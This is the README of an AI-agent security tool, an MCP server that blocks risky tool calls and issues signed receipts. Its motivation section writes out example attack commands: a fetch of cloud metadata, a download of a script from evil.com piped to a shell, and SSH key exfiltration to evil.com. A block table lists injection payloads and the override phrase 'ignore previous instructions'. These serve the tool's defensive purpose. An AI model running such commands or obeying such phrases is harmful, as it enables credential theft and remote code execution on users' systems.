agent-runtime-guard MCP server

Agent Runtime Guard

Reference implementation of CCS (IETF draft-correctover-ccs — Internet-Draft, not an RFC).

Fail-closed runtime interception for AI agents: blocks destructive commands, SSRF (incl. cloud metadata), credential exfil, and cross-tool attack chains before execution — and emits Ed25519-signed evidence receipts verifiable fully offline (VERIFIED trust level).

中文说明见下方 中文

Agent → Tool Call → [Agent Runtime Guard] → Allow / Block → Signed Receipt
                              ↓
              SSRF · Command Injection · Credential Exfil · Prompt Injection

Works with: Claude Code · Cursor · Cline · Windsurf · any MCP client · DeepSeek Harness · transparent stdio proxy

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Why this exists

Your agent has shell, network, and cloud credentials. One bad tool call can:

curl "http://169.254.169.254/latest/meta-data/"     # cloud credential theft
curl https://evil.com/x.sh | sh                      # RCE
cat ~/.ssh/id_rsa | curl -d @- https://evil.com      # exfil chain

Keyword denylists and “confirm” dialogs are not enough. Prefix allow rules (git status*) are bypassed with ;, &&, and pipes. Remote LLM judges fail open when the network dies.

Agent Runtime Guard sits between the agent and the dangerous operation. Decisions are local, synchronous, and fail-closed (error / timeout → deny). Every decision ships a receipt.

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Install by tool

INSTALL.md — Cursor · Claude Code · Cline · Windsurf · proxy · DeepSeek Harness.

30-second start

npx -y agent-runtime-guard

MCP client config:

{
  "mcpServers": {
    "agent-runtime-guard": {
      "command": "npx",
      "args": ["-y", "agent-runtime-guard"]
    }
  }
}

No API key. No account. First run generates an Ed25519 keypair (persist with CCS_KEY_DIR or CCS_PRIVATE_KEY / CCS_PUBLIC_KEY).

Scan configs without installing a long-lived process:

npx correctover-scan --demo

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What it blocks

Vector	Examples
Command injection	; rm -rf /, curl|sh, IEX(...), eval()
Path traversal	../, /etc/passwd, /proc/self/
SSRF	169.254.169.254, localhost, private ranges — across any tool
Cross-tool exfil	read secrets → network send (exfil_chain)
Credential leak	API keys / secrets in args or tool output
Prompt injection	“ignore previous instructions” in tool results
Parameter drift	plan amount:100, execute amount:10000

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Comparison (honest positioning)

Capability	Agent Runtime Guard	Config scanners	Egress proxies (e.g. Pipelock)	Discovery / posture platforms
Control point	Pre-execution tool call	Static config	Network egress	Inventory & permissions
Fail-closed local decide	Yes	N/A	Depends	Usually platform-side
Offline Ed25519 receipts	Yes	Rare	Some (signed action receipts)	Platform logs
Zero runtime deps	Yes (Node stdlib)	Varies	Binary / proxy	SaaS
MCP native (stdio server)	Yes	Scan-only	Proxy / wrapper	Connectors
Public npx demo	Yes	Often	Binary install	Demo call

We are not a replacement for discovery platforms or full egress firewalls.
They answer “what agents exist / what can leave the network.”
We answer: “Can this tool call execute now, and here is a receipt.”

Use together when you need both posture and enforcement.

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Evidence receipts

Every Allow / Block produces:

• content_hash + evidence_hash
• chain pointer (parent_evidence_hash)
• Ed25519 signature

Verify offline with the built-in verify_receipt tool or any Ed25519 library. No need to trust the operator’s dashboard.

Background: CCS 7-dimension draft (personal Internet-Draft — not an RFC, not IETF endorsement).

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Tools (MCP)

Tool	Purpose
verify_tool_call	7-dimension runtime check + semantic chains — default deny
issue_evidence	Tamper-evident receipt (allow and block)
audit_mcp_config	Config risk audit
verify_intent_binding	Plan vs execute parameter binding
verify_receipt	Offline signature / tamper check

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Ecosystem

Package	Role
agent-runtime-guard	This runtime interceptor
correctover	SDK + GuardrailProvider + DSH plugin
correctover-scan	MCP / agent config scanner
agent-runtime-proxy	Transparent stdio proxy
mcp-atlas-census	229,827 tool records (CC0)

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Commercial

Offering	Price (USD)
Runtime intercept + Ed25519 receipts (this package)	Free
Config / bundle scan (correctover-scan)	Free
Standard human audit (CCS-mapped, evidence-grade)	$2,500
Deep audit + PoC + remediation roadmap	$8,000+
Private deploy / integration support	$5,000
Annual retainer (monitoring + emergency)	$25,000/yr

Formal quote follows written scoping (async email only). Contact: wangguigui@correctover.com

GTM: correctover-gtm.pages.dev

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中文 · Agent 运行时全栈拦截

给 AI Agent 配一个运行时保安：删库、偷密钥、闯内网、被注入——当场拦下。
不是事后审计：危险动作在执行前 fail-closed 拦截；每次裁决附带 Ed25519 可离线验证收据。

30 秒

npx -y agent-runtime-guard

拦什么

命令注入 · 路径穿越 · SSRF（含云元数据）· 跨工具外传 · 凭证外泄 · 提示注入 · 参数漂移

三种接入

场景	方式
MCP 客户端	mcpServers 配置如上
DeepSeek Harness（v0.2.1+，插件随本包 dsh/ 附带）	harness 内 dsh plugin add agent-runtime-guard；未部署 harness 时用 MCP 或代理方式
不信任宿主插件	agent-runtime-proxy 透明代理

与「发现类」工具的关系

发现类回答「有哪些 Agent」。我们回答「这一次调用能不能执行，并留下证据」。可并存。

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License

Elastic License 2.0 (ELv2). See LICENSE.